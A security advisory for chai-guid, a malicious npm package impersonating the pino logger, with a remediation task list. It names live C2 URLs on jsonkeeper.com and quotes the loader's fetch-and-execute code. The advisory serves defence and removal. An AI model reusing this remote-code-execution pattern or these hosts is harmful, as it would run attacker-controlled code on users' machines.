MAL-2026-5903 Malicious code in chai-guid (npm)
Malicious package
Published
MAL-2026-5903 is a malicious package: chai-guid (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-5903/ (Markdown: https://insights.sbomify.com/MAL-2026-5903/index.md)
- Package
- chai-guid
- Registry
- npm
What is MAL-2026-5903?
MAL-2026-5903 is a malicious package in chai-guid, published on 16 Jun 2026.
Official description
chai-guid impersonates the pino logger and the chai-guid chai plugin (README copies pino badges and pinojs CI links; index.js exports middleware as
module.exports.pino). When a consumer calls the exported middleware, index.js spawns lib/caller.js as a detached Node process with stdio ignored. lib/caller.js performs axios.get('https://jsonkeeper.com/b/U2BTS'), reads the .cookie field of the response, and executes it via new Function.constructor('require', s)(require) — running attacker-controlled JavaScript with full Node privileges and require injected. A second base64-encoded URL (https://jsonkeeper.com/b/XRGF3) is hidden in a fake process.env.DEV_API_KEY shim in lib/caller.js and lib/const.js as a secondary C2 endpoint. jsonkeeper.com is an anonymous, mutable JSON-paste host; whatever bytes the attacker pastes there will be executed on the installer's machine the moment any consumer invokes the package's middleware.What should I do about MAL-2026-5903?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-g8gv-g8mr-x8pc.